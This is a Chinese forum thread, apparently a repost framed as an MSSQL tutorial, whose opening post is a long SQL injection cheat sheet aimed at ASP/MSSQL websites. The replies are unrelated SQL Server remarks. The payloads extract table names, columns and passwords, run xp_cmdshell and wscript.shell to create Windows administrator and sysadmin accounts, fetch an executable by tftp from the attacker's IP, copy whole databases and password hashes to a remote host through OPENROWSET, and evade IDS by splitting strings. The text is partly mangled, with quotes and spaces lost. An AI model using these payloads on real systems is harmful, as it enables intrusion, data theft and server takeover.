仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 888|回复: 9
打印 上一主题 下一主题

[学习教程] MSSQL教程之Sql打针总结

[复制链接]
柔情似水 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:38:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
提供TCP/IP、ODBC和JDBC等多种数据库连接路径。Sql打针总结(激烈保举)

[转贴]
Sql打针总结(早源于or1=1)

最主要的表名:
select*fromsysobjects
sysobjectsncsysobjects
sysindexestsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses


最主要的一些用户名(默许sql数据库中存在着的)
public
dbo
guest(一样平常克制,大概没权限)
db_sercurityadmin
ab_dlladmin

一些默许扩大


xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia驱动器相干
xp_dirtree目次
xp_enumdsnODBC毗连
xp_loginconfig服务器平安形式信息
xp_makecab创立紧缩卷
xp_ntsec_enumdomainsdomain信息
xp_terminate_process终端历程,给出一个PID

比方:
sp_addextendedprocxp_webserver,c:        empxp_foo.dll
execxp_webserver
sp_dropextendedprocxp_webserver
bcp"select*FROMtest..foo"queryoutc:inetpubwwwrootuncommand.asp-c-Slocalhost-Usa-Pfoobar
groupbyusers.idhaving1=1-
groupbyusers.id,users.username,users.password,users.privshaving1=1-
;insertintousersvalues(666,attacker,foobar,0xffff)-

unionselectTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSwhereTABLE_NAME=logintable-
unionselectTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSwhereTABLE_NAME=logintablewhereCOLUMN_NAMENOTIN(login_id)-
unionselectTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSwhereTABLE_NAME=logintablewhereCOLUMN_NAMENOTIN(login_id,login_name)-
unionselectTOP1login_nameFROMlogintable-
unionselectTOP1passwordFROMlogintablewherelogin_name=Rahul--
机关语句:查询是不是存在xp_cmdshell
unionselect@@version,1,1,1--
and1=(select@@VERSION)
andsa=(selectSystem_user)
unionselectret,1,1,1fromfoo--
unionselectmin(username),1,1,1fromuserswhereusername>a-
unionselectmin(username),1,1,1fromuserswhereusername>admin-
unionselectpassword,1,1,1fromuserswhereusername=admin--
anduser_name()=dbo
and0(selectuser_name()-
;DECLARE@shellINTEXECSP_OAcreatewscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:WINNTystem32cmd.exe/cnetuserswap5245886/add
and1=(selectcount(*)FROMmaster.dbo.sysobjectswherextype=XANDname=xp_cmdshell)
;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,xplog70.dll


1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype=x%20and%20name=xp_cmdshell)
and1=(selectIS_SRVROLEMEMBER(sysadmin))判别sa权限是不是
and0(selecttop1pathsfromnewtable)--暴库年夜法
and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=7)失掉库名(从1到5都是体系的id,6以上才能够判别)
创立一个假造目次E盘:
declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,cscript.exec:inetpubwwwrootmkwebdir.vbs-w"默许Web站点"-v"e","e:"
会见属性:(共同写进一个webshell)
declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,cscript.exec:inetpubwwwrootchaccess.vbs-aw3svc/1/ROOT/e+browse


and0(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)
顺次提交dbid=7,8,9....失掉更多的数据库名
and0(selecttop1namefrombbs.dbo.sysobjectswherextype=U)暴到一个表假定为admin

and0(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Admin))来失掉其他的表。
and0(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=admin
anduid>(str(id)))暴到UID的数值假定为18779569uid=id
and0(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569)失掉一个admin的一个字段,假定为user_id
and0(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569andnamenotin
(id,...))来暴出其他的字段
and0<(selectuser_idfromBBS.dbo.adminwhereusername>1)能够失掉用户名
顺次能够失掉暗码。。。。。假定存在user_idusername,password等字段

Show.asp?id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin
Show.asp?id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin
(union语句各处风行啊,access也好用

暴库特别技能::%5c=大概把/和修正%5提交
and0(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)
and0(selecttop1namefrombbs.dbo.sysobjectswherextype=U)失掉表名
and0(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Address))
and0(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=adminanduid>(str(id)))判别id值
and0(selecttop1namefromBBS.dbo.syscolumnswhereid=773577794)一切字段

http://xx.xx.xx.xx/111.asp?id=3400;createtable[dbo].[swap]([swappass][char](255));--

http://xx.xx.xx.xx/111.asp?id=3400and(selecttop1swappassfromswap)=1
;createTABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500))Declare@testvarchar(20)execmaster..xp_regread@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEMCurrentControlSetervicesW3SVCParametersVirtualRoots,@value_name=/,values=@testOUTPUTinsertintopaths(path)values(@test)

http://61.131.96.39/PageShow.asp?TianName=政策律例&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--


失掉了web路径d:xxxx,接上去:
http://xx.xx.xx.xx/111.asp?id=3400;useku1;--
http://xx.xx.xx.xx/111.asp?id=3400;createtablecmd(strimage);--


传统的存在xp_cmdshell的测试历程:
;execmaster..xp_cmdshelldir
;execmaster.dbo.sp_addloginhax;--
;execmaster.dbo.sp_passwordnull,hax,hax;--
;execmaster.dbo.sp_addsrvrolememberhaxsysadmin;--
;execmaster.dbo.xp_cmdshellnetuserhax5258/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add;--
;execmaster.dbo.xp_cmdshellnetlocalgroupadministratorshax/add;--
execmaster..xp_servicecontrolstart,schedule
execmaster..xp_servicecontrolstart,server
http://www.xxx.com/list.asp?classid=1;DECLARE@shellINTEXECSP_OAcreatewscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:WINNTystem32cmd.exe/cnetuserswap5258/add
;DECLARE@shellINTEXECSP_OAcreatewscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:WINNTystem32cmd.exe/cnetlocalgroupadministratorsswap/add

http://localhost/show.asp?id=1;execmaster..xp_cmdshelltftp-iyouipgetfile.exe-

declare@asysnameset@a=xp_+cmdshellexec@adirc:
declare@asysnameset@a=xp+_cm+dshellexec@adirc:
;declare@a;set@a=db_name();backupdatabase@atodisk=你的IP你的共享目次bak.dat
假如被限定则能够。
select*fromopenrowset(sqloledb,server;sa;,selectOK!execmaster.dbo.sp_addloginhax)
传统查询机关:
select*FROMnewswhereid=...ANDtopic=...AND.....
adminand1=(selectcount(*)from[user]whereusername=victimandright(left(userpass,01),1)=1)anduserpass
select123;--
;usemaster;--
:aornamelikefff%;--显现有一个叫ffff的用户哈。
and1(selectcount(email)from[user]);--
;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandstatus>0)wherename=ffff;--
申明:
下面的语句是失掉数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
经由过程检察ffff的用户材料可得第一个用表叫ad
然后依据表名ad失掉这个表的ID
ffff;update[users]setemail=(selecttop1idfromsysobjectswherextype=uandname=ad)wherename=ffff;--

象上面如许就能够失掉第二个表的名字了
ffff;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandid>581577110)wherename=ffff;--
ffff;update[users]setemail=(selecttop1count(id)frompassword)wherename=ffff;--
ffff;update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)wherename=ffff;--

ffff;update[users]setemail=(selecttop1namefrompasswordwhereid=2)wherename=ffff;--

execmaster..xp_servicecontrolstart,schedule
execmaster..xp_servicecontrolstart,server
sp_addextendedprocxp_webserver,c:        empxp_foo.dll
扩大存储就能够经由过程一样平常的办法挪用:
execxp_webserver
一旦这个扩大存储实行过,能够如许删除它:
sp_dropextendedprocxp_webserver

insertintousersvalues(666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)-

insertintousersvalues(667,123,123,0xffff)-

insertintousersvalues(123,admin--,password,0xffff)-

;anduser>0
;;and(selectcount(*)fromsysobjects)>0
;;and(selectcount(*)frommysysobjects)>0//为access数据库

-----------------------------------------------------------一般打针的一些先容:
A)ID=49这类注进的参数是数字型,SQL语句原貌大抵以下:
select*from表名where字段=49
注进的参数为ID=49And[查询前提],便是天生语句:
select*from表名where字段=49And[查询前提]

(B)Class=一连剧这类注进的参数是字符型,SQL语句原貌大抵概以下:
select*from表名where字段=一连剧
注进的参数为Class=一连剧and[查询前提]and=,便是天生语句:
select*from表名where字段=一连剧and[查询前提]and=
(C)搜刮时没过滤参数的,如keyword=关头字,SQL语句原貌大抵以下:
select*from表名where字段like%关头字%
注进的参数为keyword=and[查询前提]and%25=,便是天生语句:
select*from表名where字段like%and[查询前提]and%=%
;;and(selectTop1namefromsysobjectswherextype=Uandstatus>0)>0
sysobjects是SQLServer的体系表,存储着一切的表名、视图、束缚及别的工具,xtype=Uandstatus>0,暗示用户创建的表名,下面的语句将第一个表名掏出,与0对照巨细,让报错信息把表名表露出来。
;;and(selectTop1col_name(object_id(表名),1)fromsysobjects)>0
从⑤拿到表名后,用object_id(表名)猎取表名对应的外部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就能够逐一猎取所猜解内外面的字段名。


post.htm内容:次要是便利输出。
<iframename=psrc=#width=800height=350frameborder=0></iframe>
<br>
<formaction=http://test.com/count.asptarget=p>
<inputname="id"value="1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0);--"style="width:750">
<inputtype=submitvalue=">>>">
<inputtype=hiddenname=fnovalue="2,3">
</form>
列举出他的数据表名:
id=1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表能够如许读出来(在前提后加上andname方才失掉的表名)。
id=1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0andnamevote);--
然后id=1552andexists(select*fromaaawhereaaa>5)
读出第二个表,^^^^^^一个个的读出,直到没无为止。
读字段是如许:
id=1552;updateaaasetaaa=(selecttop1col_name(object_id(表名),1));--
然后id=1552andexists(select*fromaaawhereaaa>5)堕落,失掉字段名
id=1552;updateaaasetaaa=(selecttop1col_name(object_id(表名),2));--
然后id=1552andexists(select*fromaaawhereaaa>5)堕落,失掉字段名
--------------------------------初级技能:
[取得数据表名][将字段值更新为表名,再设法读出这个字段的值便可失掉表名]
update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus>0[andname你失掉的表名查出一个加一个])[where前提]
selecttop1namefromsysobjectswherextype=uandstatus>0andnamenotin(table1,table2,…)
经由过程SQLSERVER注进毛病建数据库办理员帐号和体系办理员帐号[以后帐号必需是SYSADMIN组]

[取得数据表字段名][将字段值更新为字段名,再设法读出这个字段的值便可失掉字段名]
update表名set字段=(selecttop1col_name(object_id(要查询的数据表名),字段列如:1)[where前提]

绕过IDS的检测[利用变量]
declare@asysnameset@a=xp_+cmdshellexec@adirc:
declare@asysnameset@a=xp+_cm+dshellexec@adirc:


1、开启远程数据库
基础语法
select*fromOPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=apachy_123,select*fromtable1)
参数:(1)OLEDBProvidername
2、个中毗连字符串参数能够是任何和端口用来毗连,好比
select*fromOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*fromtable

要复制方针主机的全部数据库,起首要在方针主机上和本人呆板上的数据库创建毗连(怎样在方针主机上创建远程毗连,方才已讲了),以后insert一切远程表到当地表。

基础语法:
insertintoOPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=apachy_123,select*fromtable1)select*fromtable2
这行语句将方针主机上table2表中的一切数据复制到远程数据库中的table1表中。实践使用中得当修正毗连字符串的IP地点和端口,指向必要的中央,好比:
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*fromtable1)select*fromtable2

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*from_sysdatabases)
select*frommaster.dbo.sysdatabases

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*from_sysobjects)
select*fromuser_database.dbo.sysobjects

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*from_syscolumns)
select*fromuser_database.dbo.syscolumns

以后,即可以从当地数据库中看到方针主机的库布局,这已轻而易举,未几讲,复制数据库:
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*fromtable1)select*fromdatabase..table1

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*fromtable2)select*fromdatabase..table2

......

3、复4、制哈西表(HASH)

这实践上是上述复5、制数据库的一个扩大使用。登录暗码的hash存储于sysxlogins中。办法以下:
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*from_sysxlogins)select*fromdatabase.dbo.sysxlogins
失掉hash以后,6、就能够举行暴力破解。这必要一点命运和大批工夫。


遍历目次的办法:
先创立一个一时表:temp
5;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--
5;inserttempexecmaster.dbo.xp_availablemedia;--取得以后一切驱动器
5;insertintotemp(id)execmaster.dbo.xp_subdirsc:;--取得子目次列表
5;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:;--取得一切子目次的目次树布局,并寸进temp表中

5;insertintotemp(id)execmaster.dbo.xp_cmdshelltypec:webindex.asp;--检察某个文件的内容
5;insertintotemp(id)execmaster.dbo.xp_cmdshelldirc:;--
5;insertintotemp(id)execmaster.dbo.xp_cmdshelldirc:*.asp/s/a;--
5;insertintotemp(id)execmaster.dbo.xp_cmdshellcscriptC:InetpubAdminScriptsadsutil.vbsenumw3svc

5;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:;--(xp_dirtree合用权限PUBLIC)
写进表:
语句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(sysadmin));--
语句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(serveradmin));--
语句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(setupadmin));--
语句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(securityadmin));--
语句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(securityadmin));--
语句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(diskadmin));--
语句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(bulkadmin));--
语句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(bulkadmin));--
语句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_MEMBER(db_owner));--
把路径写到表中往:
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(pathsvarchar(100),idint)-
http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtreec:-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0(select top 1 paths from dirs)-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0(select top 1 paths from dirs where paths not in(@Inetpub))-
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtreee:web--
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0(select top 1 paths from dirs1)-
把数据库备份到网页目次:下载
http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk=e:webdown.bak;--


and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)
and%201=(select%20Top%201%20col_name(object_id(USER_LOGIN),1)%20from%20sysobjects)参看相干表。
and1=(select%20user_id%20from%20USER_LOGIN)
and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)有了rowbase的binlog后,我们来分析一下怎么实现闪回。平时的DML无非三种操作,增删改,先说三种操作的日志格式。
莫相离 该用户已被删除
沙发
发表于 2015-1-19 20:04:46 | 只看该作者
是要和操作系统进行Socket通讯的场景。否则建议慎重!
精灵巫婆 该用户已被删除
板凳
发表于 2015-1-27 08:20:29 | 只看该作者
语句级快照和事务级快照终于为SQLServer的并发性能带来了突破。个人感觉语句级快照大家应该应用。事务级快照,如果是高并发系统还要慎用。如果一个用户总是被提示修改不成功要求重试时,会杀人的!
蒙在股里 该用户已被删除
地板
发表于 2015-2-5 04:39:25 | 只看该作者
多走走一此相关论坛,多看一些实例开发,多交流0经验,没什么的,我也是刚学没多久!加油
小女巫 该用户已被删除
5#
发表于 2015-2-11 04:54:36 | 只看该作者
习惯敲命令行的朋友可能会爽一些。但是功能有限。适合机器跑不动SQLServerManagementStudio的朋友使用。
小妖女 该用户已被删除
6#
发表于 2015-3-1 21:52:43 | 只看该作者
需要注意的一点,也是我使用过程中发现的一个问题。在建立function->schema->table后,如果在现有的分区表上建立没有显式声明的聚集索引时,分区表会自动变为非分区表。这一点很让我纳闷。
海妖 该用户已被删除
7#
发表于 2015-3-11 00:30:05 | 只看该作者
多走走一此相关论坛,多看一些实例开发,多交流0经验,没什么的,我也是刚学没多久!加油
飘灵儿 该用户已被删除
8#
发表于 2015-3-17 17:08:36 | 只看该作者
SP4包括用于以下SQLServer2000组件的程序包:Database组件(下载文件:SQL2000-KB884525-SP4-x86.EXE)更新SQLServer2000的32位Database组件,包括数据库引擎、复制、客户端连接组件及工具。有关其他信息,请参阅ReadmeSql2k32Sp4.htm。AnalysisServices组件(下载文件:SQL2000.AS-KB884525-SP4-x86.EXE)更新SQLServer2000的32位AnalysisServices。
9#
发表于 2015-3-17 17:08:25 | 只看该作者
只能告诉你,学好数据库语言和原理,多见识几种数据库软件,比一棵树上吊死要好。
冷月葬花魂 该用户已被删除
10#
发表于 2015-3-24 13:39:06 | 只看该作者
备份方面可能还是一个老大难的问题。不能单独备份几个表总是感觉不爽。灵活备份的问题不知道什么时候才能解决。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-3 19:15

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表